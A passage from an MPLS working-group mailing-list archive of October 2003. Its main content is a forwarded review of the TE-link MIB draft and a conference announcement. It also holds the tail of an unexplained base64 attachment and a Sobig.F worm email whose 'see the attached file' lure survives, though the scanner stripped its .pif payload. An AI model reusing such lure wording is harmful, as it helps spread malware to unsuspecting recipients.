KQAAAAAAAAAAAAAAAAAAAAAAAAAAmcgFn5HIkidQo0mUK1izaNOpVKtYs2nUq1m1bNu5de3cunfw
48jbSSTGO/pKNJMkvMgwziqTLKbZNsdN2+0dhK+aJ4KMr+BGPYMt+04rkwa83XTZLd1Ju8V52A24
0RyDuclXh4q8+gcxwD39XT2TG6raIM41kw2xySzSC77LVO2ZyAWfkejlTznPLLRHN9IMusczizmT
LZjneLUpqcsan/zNH5mPrbJLP8Ao4EI21EiyiRDnFJMPocU6wQW011TtmN8Un4644EIj0CD7RXjW
GqHGJopY8DuXizzHHrTLVM2a0xuVw6v9SSTGJ+ALMNIb88sxzjaTBLvPMNMFvt1bzZXcV4mMvbJV
Jc1p9QsryhunzDmmUtcMtt4+0gmplVWOsN8WgsOp/ktwwTvxSjPDB7rHINh40QyyxCvQTKnMG4O1
1BDQl6D7VHDTO/tMKtIF8qkdxSzWDqbCLcxMuNEQjreaEZGKpPdDcYMd/EIrky66xTGLMNIa9Mk8
0AL71BqJtdwelYfmny0CxijnRDaTBbrOPN940Qz0ynnFA6jKHI+w31eGirrnVHDKJ/JOO8cBvMd1
q4sjiRR9UgVZOmKWENpaYm0AAAkJCAgKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAADeAAAAWEMwMDE4MTVkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAGAEAAFhDMDAxODE1ZAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAD3BQAAWEMwMDE4MTVk
--_NextPart_000_00402010--



From owner-mpls@UU.NET  Sun Oct  5 16:07:14 2003
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA24260
	for <mpls-archive@lists.ietf.org>; Sun, 5 Oct 2003 16:07:14 -0400 (EDT)
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjdg24594
	for <mpls-archive@lists.ietf.org>; Sun, 5 Oct 2003 20:07:21 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpjdg24525;
	Sun, 5 Oct 2003 20:07:17 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpjdf04754
	for mpls-outgoing; Sun, 5 Oct 2003 19:46:18 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQpjdf04744
	for <mpls@mail-control.ash.ops.us.uu.net>; Sun, 5 Oct 2003 19:46:15 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQpjde14603
	for <mpls@uu.net>; Sun, 5 Oct 2003 19:44:56 GMT
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjde24245
	for <mpls@uu.net>; Sun, 5 Oct 2003 19:44:55 GMT
Received: from sj-iport-3.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-3-in.cisco.com [171.71.176.72])
	id QQpjde24237
	for <mpls@uu.net>; Sun, 5 Oct 2003 19:44:55 GMT
Received: from cisco.com (171.71.177.237)
  by sj-iport-3.cisco.com with ESMTP; 05 Oct 2003 12:51:52 -0700
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-1.cisco.com (8.12.9/8.12.6) with ESMTP id h95JipcZ008992
	for <mpls@uu.net>; Sun, 5 Oct 2003 12:44:52 -0700 (PDT)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ACX25837;
	Sun, 5 Oct 2003 15:44:51 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h95Jiou23687 for mpls@uu.net; Sun, 5 Oct 2003 15:44:50 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQpjde04057
	for <mpls@mail-control.ash.ops.us.uu.net>; Sun, 5 Oct 2003 19:43:54 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQpjde11468
	for <mpls@uu.net>; Sun, 5 Oct 2003 19:42:52 GMT
From: arunv@force10networks.com
Received: from DDSL-12 by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [61.11.82.129])
	id QQphmv25255
	for <mpls@uu.net>; Wed, 24 Sep 2003 08:16:08 GMT
Message-Id: <QQphmv25255.200309240816@cmr1.ash.ops.us.uu.net>
To: <mpls@UU.NET>
Subject: Re: Re: My details
Date: Fri, 1 Jan 1999 3:55:15 +0530
X-MailScanner: Found to be clean
Importance: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MSMail-Priority: Normal
X-Priority: 3 (Normal)
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="_NextPart_000_00D6EAD6"
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multipart message in MIME format

--_NextPart_000_00D6EAD6
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

------------------  Virus Warning Message (on the network)

Found virus WORM_SOBIG.F in file your_details.pif
The uncleanable file is deleted.

---------------------------------------------------------

--_NextPart_000_00D6EAD6
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Please see the attached file for details.
--_NextPart_000_00D6EAD6
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit


------------------  Virus Warning Message (on the network)

your_details.pif is removed from here because it contains a virus.

---------------------------------------------------------
--_NextPart_000_00D6EAD6--



From owner-mpls@UU.NET  Tue Oct  7 05:51:31 2003
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA24917
	for <mpls-archive@lists.ietf.org>; Tue, 7 Oct 2003 05:51:30 -0400 (EDT)
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjjb19199
	for <mpls-archive@lists.ietf.org>; Tue, 7 Oct 2003 09:51:39 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpjjb19104;
	Tue, 7 Oct 2003 09:51:33 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpjja18997
	for mpls-outgoing; Tue, 7 Oct 2003 09:34:32 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQpjja18992
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 7 Oct 2003 09:34:28 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQpjja02580
	for <mpls@uu.net>; Tue, 7 Oct 2003 09:30:59 GMT
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjja02321
	for <mpls@uu.net>; Tue, 7 Oct 2003 09:30:58 GMT
Received: from auemail2.firewall.lucent.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: auemail2.lucent.com [192.11.223.163])
	id QQpjja02299
	for <mpls@uu.net>; Tue, 7 Oct 2003 09:30:58 GMT
Received: from nl0006exch001h.wins.lucent.com (h135-85-76-62.lucent.com [135.85.76.62])
	by auemail2.firewall.lucent.com (Switch-2.2.8/Switch-2.2.0) with ESMTP id h979Vbk07081
	for <mpls@uu.net>; Tue, 7 Oct 2003 04:31:38 -0500 (CDT)
Received: by nl0006exch001h.nl.lucent.com with Internet Mail Service (5.5.2656.59)
	id <4M3WKAMY>; Tue, 7 Oct 2003 11:30:50 +0200
Message-ID: <7D5D48D2CAA3D84C813F5B154F43B15502A20549@nl0006exch001u.nl.lucent.com>
From: "Wijnen, Bert (Bert)" <bwijnen@lucent.com>
To: "Mpls (E-mail)" <mpls@UU.NET>
Cc: "Dave Thaler (E-mail)" <dthaler@microsoft.com>
Subject: FW: DT's review of draft-ietf-mpls-telink-mib-04.txt
Date: Tue, 7 Oct 2003 11:30:47 +0200 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2656.59)
Content-Type: text/plain
Sender: owner-mpls@UU.NET
Precedence: bulk

Forwarding to MPLS WG list

Thanks,
Bert 

-----Original Message-----
From: Dave Thaler [mailto:dthaler@windows.microsoft.com]
Sent: dinsdag 7 oktober 2003 4:12
To: tnadeau@cisco.com; Martin Dubuc; Wijnen, Bert (Bert);
sudheer@ieee.org; jplang@ieee.org
Subject: RE: DT's review of draft-ietf-mpls-telink-mib-04.txt


Sorry for the delay, but I've been reading a bunch of relevant documents
so I can help resolve the issue.  Besides the mpls-telink-mib and the 
tewg-mib, I've now read all of the following in entirety:

[RFC2702] "Requirements for Traffic Engineering Over MPLS"
[OSPF-TE] "Traffic Engineering Extensions to OSPF Version 2"
[LSP-HIER] "LSP Hierarchy with Generalized MPLS TE"
[BUNDLE] "Link Bundling in MPLS Traffic Engineering"
[GMPLS-ROUTING] "Routing Extensions in Support of Generalized MPLS"

as well as some portions of other documents such as [MPLS-TE-STD-MIB] 
and [GMPLS-ARCH].

Even after all that, the address model was not really cleared up for me.
[LSP-HIER], [OSPF-TE], and [BUNDLE] all contain language related
to the local and remote IP address.

I'm back to my original question about:
> it is unclear whether the IP addresses are those used for
> encapsulation (i.e. like MAC addresses from the point of
> view of the teLink interface), or those assigned to the inside.  
> I'm assuming the former, since the latter would definitely be
redundant
> with the inet address table like on any other interface.

In the email below I had assumed the former.  After reading the 
documents above, I'm more inclined to believe it's the latter.
Can someone confirm this?  Put another way:

Q: If you look in the ipAddrTable for the corresponding entry for the IP
address in a teLinkLocalIpAddr object on a numbered TE link, what is the
value of ipAdEntIfIndex?  What is the relationship of that interface to
the TE link?
(e.g. in the example on page 12, is it the ifIndex of the mpls
interface, 
the teLink interface, or the opticalTransport interface?  Previously I
had assumed the answer would be the opticalTransport interface, but now
I'm more inclined to believe it's one of the others in which case
Thomas'
summary of my misunderstanding below would be more or less accurate.  
In any case, none of the documents listed above give a clear answer to
this question.)

In addition, I will add the following items to my review of the
document:

1) teLinkIncomingIfId
    SYNTAX InterfaceIndexOrZero
Problem: RFC2863 defines InterfaceIndex as
"A unique value, greater than zero, for each interface or interface 
sub-layer in the managed system."  However, this is a number which is 
not for an interface _in the managed system_.  Hence the use of this 
TC is inappropriate.  I believe it should instead use
    SYNTAX Integer32 (0..2147483647)
so that management stations will not look for a corresponding entry
in the ifTable.

2) teLinkOutgoingIfId
       "If the link is unnumbered, the outgoing interface identifier is
        set to the outgoing interface identifier chosen for the TE link
        by the advertising LSR. For numbered links, the address is
        stored in the teLinkLocalIpAddr instead."
It is unclear what is meant by "instead".  If the value here should be
0,
say that explicitly, as in:
       "If the link is unnumbered, the outgoing interface identifier is
        set to the outgoing interface identifier chosen for the TE link
        by the advertising LSR. If the link is numbered, the value is
0."
(same comment on teLinkIncomingIfId)
Also maybe add DEFVAL {0} ?

3) For teLinkAddressType, teLinkLocalIpAddr, teLinkRemoteIpAddr,
add DEFVALs for unknown(0), ''H, and ''H, respectively?

-Dave

> -----Original Message-----
> From: Thomas D. Nadeau [mailto:tnadeau@cisco.com]
> Sent: Wednesday, September 24, 2003 12:11 PM
> To: Dave Thaler; 'Martin Dubuc'; 'Wijnen, Bert (Bert)';
sudheer@ieee.org;
> jplang@ieee.org
> Subject: RE: DT's review of draft-ietf-mpls-telink-mib-04.txt
> 
> 
> 	Hi All,
> 
> 	I wanted to summarize the conversation
> we have been having to try to come to closure
> on the points brought forth by Dave. The issue
> raised by Dave was that he thought the TE-LINK MIB
> needed to extend RFC2863 rather than re-define
> some objects. I think this came because he misunderstood
> how the TE-LINK MIB was supposed to be used. The TE-LINK
> MIB is used to manage configured TE links/interfaces/
> and or link-bundles, irrespective of whether
> any TE tunnels are riding over those entities.
> So it seems that the TE-LINK MIB's constructs
> are required and have different application
> than those defined in RFC2863.
> 
> 	The actions as I see it are that we need
> to improve the description/overview of the TE-LINK
> MIB so that this misunderstanding does not occur
> in the future, but that the objects that are
> presently in the TE-LINK MIB should remain.
> If we all agree, I will post this as a response
> to Dave's original posting on the mailing list.
> 
> 	--Tom
> 
> 
> >-----Original Message-----
> >From: Dave Thaler [mailto:dthaler@windows.microsoft.com]
> >Sent: Tuesday, September 23, 2003 5:35 PM
> >To: Martin Dubuc; Wijnen, Bert (Bert); tnadeau@cisco.com;
> >sudheer@ieee.org; jplang@ieee.org
> >Subject: RE: DT's review of draft-ietf-mpls-telink-mib-04.txt
> >
> >
> >Martin,
> >
> >I didn't understand that scenario, can you elaborate?
> >If it's not a tunnel, what would the values of teLinkLocalIpAddr and
> >teLinkRemoteIpAddr be?  From my reading of the doc, and a
> >search through
> >[GMPLS-ARCH], it looks to be like they're only non-empty for tunnels.
> >(If this is not the intent then the documents need to be much more
> >clear.)
> >
> >-Dave
> >
> >> -----Original Message-----
> >> From: Martin Dubuc [mailto:dubuc.consulting@rogers.com]
> >> Sent: Tuesday, September 23, 2003 4:34 AM
> >> To: Dave Thaler; Wijnen, Bert (Bert); tnadeau@cisco.com;
> >sudheer@ieee.org;
> >> jplang@ieee.org
> >> Subject: Re: DT's review of draft-ietf-mpls-telink-mib-04.txt
> >>
> >> Dave,
> >>
> >> Even though the teLinkRowStatus, teLinkLocalIpAddr and
> >teLinkRemoteIpAddr
> >> may be redundant when tunnels are involved in the definition of TE
> >links,
> >> we
> >> cannot remove these objects from the MIB because when entities that
> >are
> >> not
> >> tunnels are used in the construction of TE links, this
> >information may
> >not
> >> be captured anywhere (for instance, this can be the case for
optical
> >> networks).
> >>
> >> Best regards,
> >>
> >> Martin
> >>
> >> ----- Original Message -----
> >> From: "Dave Thaler" <dthaler@windows.microsoft.com>
> >> To: "Wijnen, Bert (Bert)" <bwijnen@lucent.com>;
> >> <dubuc.consulting@rogers.com>; <tnadeau@cisco.com>;
> ><sudheer@ieee.org>;
> >> <jplang@ieee.org>
> >> Sent: Saturday, September 13, 2003 4:16 PM
> >> Subject: DT's review of draft-ietf-mpls-telink-mib-04.txt
> >>
> >>
> >> I've completed a review of draft-ietf-tewg-mib-06.txt at Bert's
> >request,
> >> concentrating on the relationships with the Interfaces MIB and the
> >> IPv4 Tunnel MIB.
> >>
> >> Relationship with IF-MIB:
> >>
> >>  This is in pretty good shape.  Section 8 meets most of the
> >requiements
> >>  outlined in section 4 of RFC 2863.  The only requirements not met
> >> appear
> >>  to be the ones regarding ifRcvAddressTable and the conditions (if
> >any)
> >>  relating to ifXxxOctets with respect to frames with errors.
> >>
> >> Relationship with IPv4 Tunnel MIB:
> >>
> >>  This MIB has no text on the relationship with the IPv4 Tunnel MIB,
> >and
> >>  does not explain why it does not extend that MIB.  Of course this
> >>  document is not IPv4-specific, but we know we need a corresponding
> >IPv6
> >>
> >>  Tunnel MIB (or perhaps a generic IP Tunnel MIB) anyway.  Given
that,
> >it
> >>
> >>  is unclear whether there is sufficient justification (certainly
none
> >in
> >>
> >>  the draft) to not extend it/them.
> >>
> >>  The argument to extend it/them is twofold:
> >>  a) you are consistent with other tunnel management schemes, rather
> >than
> >>     confusing people with multiple conflicting schemes, and
> >>  b) that you get a number of things currently missing,
specifically:
> >>     tunnelIfHopLimit, tunnelIfSecurity, tunnelConfigEncapsMethod,
> >>     tunnelIfTOS, and the ability to look up a tunnel index by its
> >>     endpoints.
> >>
> >>  teLinkRowStatus - redundant with tunnelConfigStatus?
> >>
> >>  The real issue is how to handle the teLinkLocalIpAddr and
> >>  teLinkRemoteIpAddr.  The 'numbered' and 'unnumbered' link
> >terminology
> >>  appears to come from [GMPLS-ARCH], but from a quick glance at that
> >>  document, is is unclear whether the IP addresses are those used
for
> >>  encapsulation (i.e. like MAC addresses from the point of view of
the
> >>  teLink interface), or those assigned to the inside.  I'm
> >assuming the
> >>  former, since the latter would definitely be redundant with the
inet
> >>  address table like on any other interface.
> >>
> >>  So there are currently three cases, as I understand it:
> >>  1) it's tunneling using IPv4 addresses.  In this case I see
> >no reason
> >>     to not extend the IPv4 Tunnel MIB.  teLinkLocalIpAddr
> >>     and teLinkRemoteIpAddr are redundant with
> >tunnelIfLocalAddress and
> >>     tunnelIfRemoteAddress, respectively.
> >>  2) it's tunneling using IPv6 addresses.  In this case it can
> >>     extend an IPv6 Tunnel MIB (or perhaps an Inet Tunnel MIB).
> >>     teLinkLocalIpAddr and teLinkRemoteIpAddr would be redundant
with
> >>     objects in that MIB.
> >>  3) it's not tunneling using either one.  In this case
> >>     teLinkLocalIpAddr and teLinkRemoteIpAddr are empty.
> >>
> >> Hence, I'd propose the following actions:
> >>  1) this document remove the teLinkLocalIpAddr and
teLinkRemoteIpAddr
> >>     objects (leaving teLinkAddressType is fine).
> >>  2) we (the OPS area) write the IPv6 or Inet Tunnel MIB asap.
> >>     I had volunteered for this but it was lower priority.
> >If this MIB
> >>     takes a dependency on it, I think it could be done fairly
quickly
> >>     since it's just adapting the existing RFC 2667.
> >>     In that document we define a new tunnelIfEncapsMethod for MPLS.
> >>  3) If the unnumbered case does not do tunneling over IP, then an
> >>     ifType of teLink(200) could identify this case (only).
> >>     Numbered links would use an ifType of tunnel, with an encaps
> >>     method of mpls.  This would give the benefits of using the
tunnel
> >> mib.
> >>
> >> -Dave
> >>
> >
> 



From owner-mpls@UU.NET  Tue Oct  7 06:20:12 2003
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA25774
	for <mpls-archive@lists.ietf.org>; Tue, 7 Oct 2003 06:20:11 -0400 (EDT)
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjjd22821
	for <mpls-archive@lists.ietf.org>; Tue, 7 Oct 2003 10:20:20 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpjjd22796;
	Tue, 7 Oct 2003 10:20:19 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpjjc10266
	for mpls-outgoing; Tue, 7 Oct 2003 10:04:59 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQpjjc10195
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 7 Oct 2003 10:04:58 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQpjjc19540
	for <mpls@uu.net>; Tue, 7 Oct 2003 10:04:15 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjjc03671
	for <mpls@uu.net>; Tue, 7 Oct 2003 10:04:14 GMT
Received: from smtp3.clb.oleane.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: smtp3.clb.oleane.net [213.56.31.19])
	id QQpjjc03653
	for <mpls@uu.net>; Tue, 7 Oct 2003 10:04:13 GMT
Received: from oleane (upper-side.rain.fr [194.250.212.114]) 
	by smtp3.clb.oleane.net with SMTP id h97A4BTa026211
	for <mpls@uu.net>; Tue, 7 Oct 2003 12:04:12 +0200
Message-ID: <001001c38cbd$96201b60$0301a8c0@www.oleane.com>
Reply-To: "Peter Lewis" <peter.lewis@upperside.fr>
From: "Peter Lewis" <peter.lewis@upperside.fr>
To: <mpls@UU.NET>
Subject: MPLS World 2004: Beyond Service Provider Core
Date: Tue, 7 Oct 2003 12:25:35 +0200
Organization: Upperside
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_000D_01C38CCE.1BA73380"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Sender: owner-mpls@UU.NET
Precedence: bulk

C'est un message de format MIME en plusieurs parties.

------=_NextPart_000_000D_01C38CCE.1BA73380
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

MPLS World 2004: Beyond Service Provider Core

The Sixth edition of MPLS World will stand in Paris from 10 to 13 =
February 2004.
The agenda is online at:
http://www.upperside.fr/mplsworld2004/mplswc2004intro.htm
=20
Three domains stand out in particular: inter-domain, access networks and =
enterprise networks.=20
The MPLS World Congress has always closely followed the evolutions of =
MPLS. This year's conference schedule will address these three aspects.

The other major theme of MPLS World Congress is case studies with a =
particular attention paid this year to feedback from trial deployments =
of layer 3 VPNs.=20
=20
Save 10% by registering before November 30.

------=_NextPart_000_000D_01C38CCE.1BA73380
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2919.6307" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>
<DIV><FONT size=3D2><SPAN class=3Dtitresession><FONT =
color=3D#008080>MPLS World 2004:=20
Beyond Service Provider Core</FONT></SPAN><BR><BR><SPAN =
class=3Dtexte>The Sixth=20
edition of MPLS World will stand in Paris from 10 to 13 February=20
2004.</SPAN></FONT></DIV>
<DIV><FONT size=3D2><SPAN class=3Dtexte>The agenda is online =
at:</SPAN></FONT></DIV>
<DIV><FONT size=3D2><SPAN class=3Dtexte><A=20
href=3D"http://www.upperside.fr/mplsworld2004/mplswc2004intro.htm">http:/=
/www.upperside.fr/mplsworld2004/mplswc2004intro.htm</A></SPAN></FONT></DI=
V>
<DIV><FONT size=3D2><SPAN class=3Dtexte></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2><SPAN class=3Dtexte>Three domains stand out in =
particular: <FONT=20
color=3D#008080><SPAN class=3Dtextebold>inter-domain, access networks =
and enterprise=20
networks. </SPAN><BR></FONT>The MPLS World Congress has always closely =
followed=20
the evolutions of MPLS. This year's conference schedule will address =
these three=20
aspects.<BR><BR>The other major theme of MPLS World Congress is <FONT=20
color=3D#008080>case studies </FONT>with a particular attention paid =
this year to=20
feedback from <SPAN class=3Dunderline>trial deployments of layer 3 =
VPNs</SPAN>.=20
</SPAN></FONT></DIV>
<DIV><FONT size=3D2><SPAN class=3Dtexte></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2><SPAN class=3Dtexte>Save 10% by registering before =
November=20
30.</SPAN></FONT></DIV></FONT></DIV></BODY></HTML>

------=_NextPart_000_000D_01C38CCE.1BA73380--



From owner-mpls@UU.NET  Tue Oct  7 11:31:08 2003
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA07926
	for <mpls-archive@lists.ietf.org>; Tue, 7 Oct 2003 11:31:06 -0400 (EDT)
